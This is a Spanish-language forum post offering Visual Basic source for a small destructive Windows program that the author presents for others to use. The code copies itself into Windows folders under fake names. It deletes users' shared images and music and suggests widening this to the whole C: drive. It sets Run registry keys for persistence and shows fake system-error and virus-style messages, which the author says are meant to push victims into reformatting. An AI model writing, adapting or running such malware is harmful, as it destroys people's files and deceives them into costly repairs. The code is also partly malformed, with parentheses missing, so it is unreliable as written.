codigo fuente seguridad inversa

esta es una aplicación de borrado de archivos pero que solo sirve para xp o SO (sistemas operativos) que tengan las librerías de VB

aquí vamos:

'Crea una carpeta en windows system 32

Sub Crearcarpeta()
Dim n
On Error Resume Next
Do
Set n = CreateObject("Scripting FilesystemObject"
n.createFolder "C:\WINDOWS\system32\init"
Loop
End Sub

'Se copia renombrandose como crash.exe y cloud.exe o pueden elegir otro tipo de exe
'pero lo deben especificar

Sub copia()
Dim xxx, yy
On Error Resume Next

Set xxx = CreateObject("Scripting FilesystemObject"
xxx.copyfile ".\wingle.exe", "c:\windows\crash.exe"

Set yy = CreateObject("Scripting FilesystemObject"
yy.copyfile ".\wingle.exe", "C:\WINDOWS\system32\init\cloud.exe"

End Sub

' borra todos los archivos de musica y imagenes de la carpeta de archivos compartidos entre usuarios
' tambien podes colocar otro directorio, tipo C:\ o D:\ donde creo q si no tiene particion... aunq teniendola
' te conviene colocar la unidad C incluso eliminando otros tipos de archivos
Sub matar()
On Error Resume Next
Kill ("C:\Documents and Settings\All Users\Documentos\Mis imágenes\*.jpeg"
Kill ("C:\Documents and Settings\All Users\Documentos\Mi música\*.wav"
Kill ("C:\Documents and Settings\All Users\Documentos\Mi música\*.mp3"
End Sub

' Pequeño archivo de texto con una frase escrita de recuerdo hace un poema y esto puede terminar creando en principio
' un algo escrito para camouflar todo el resto de procesos, aunq tmb podes encapsular cada sub en algun otro sub como
' un clic o etc, ya te darás cuenta
Sub recuerdo()
Dim nota, aux
On Error Resume Next
Set nota = CreateObject("Scripting.FilesystemObject"
Set aux = nota.CreateTextFile("c:\wingear.txt"
nota.write " Cómo será la laguna que el chancho la cruza al trote"
nota.Close
End Sub

'Esto son ventanas que aparecen cada ciertos dias al mes con mensajes de errores
' asi podes molestar un poco bastante, si no sabes como utilizar lo anterior
'creas un proy con solo este sub como defecto asi al cargar la apli este comienza a mandar errores de virus
' aunq la pc no este infectada lo q lleva al formateo forsozo

Sub payload()
On Error Resume Next
If Day(Now()) = 4 Then MsgBox "No se encuentra el archivo wringle[1].chm", 16, "Error system"
If Day(Now()) = 5 Then MsgBox "No se encuentra el archivo wringle[2].chm", 16, "Error system"
If Day(Now()) = 9 Then MsgBox "No se encuentran conexiones activas", 16, "Error system"
If Day(Now()) = 15 Then MsgBox "Reinicie el ordenador. Se ha detectado un error grave.", 16, "Error system"
If Day(Now()) = 22 Then MsgBox "No se encuentra el archivo hthj.dll requerido ", 16, "Error system"
End Sub

'Con esto creamos las llaves en el registro para que se ejecuten en cada inicio crash.exe y cloud.exe


Sub reg()
Dim coca, cola
On Error Resume Next

Set coca = CreateObject("WScript.Shell"
coca.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "c:\windows\crash.exe"

Set cola = CreateObject("WScript.Shell"
cola.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "c:\WINDOWS\system32\init\cloud.exe"

End Sub

Private Sub Form_Load()

MsgBox "No se encuentra la libreria msnrg60.dll requerida", " Error de ejecución"

Crearcarpeta
matar
copia
recuerdo
payload
reg
End Sub




EL QUE QUIERA COMENTAR BIEN EL QUE NO TENGA IDEA DE COMO HACERLO SE JODE, EL QUE CREA QUE PUEDE HACER ALGO MEJOR QUE PASE CODIGOS, Y EL QUE QUIERA INSULTAR ME DA IGUAL
IMPORTANTE: DONDE SALEN LOS SMILIES SON PARENTESIS PERO NO ME LO DEJA EDITAR ASÍ YA ESTAN AVISADOS, SON PARENTESIS

SUERTE
"SI BUSCAN ALGO MAS EN C++ O JAVA AVISEN"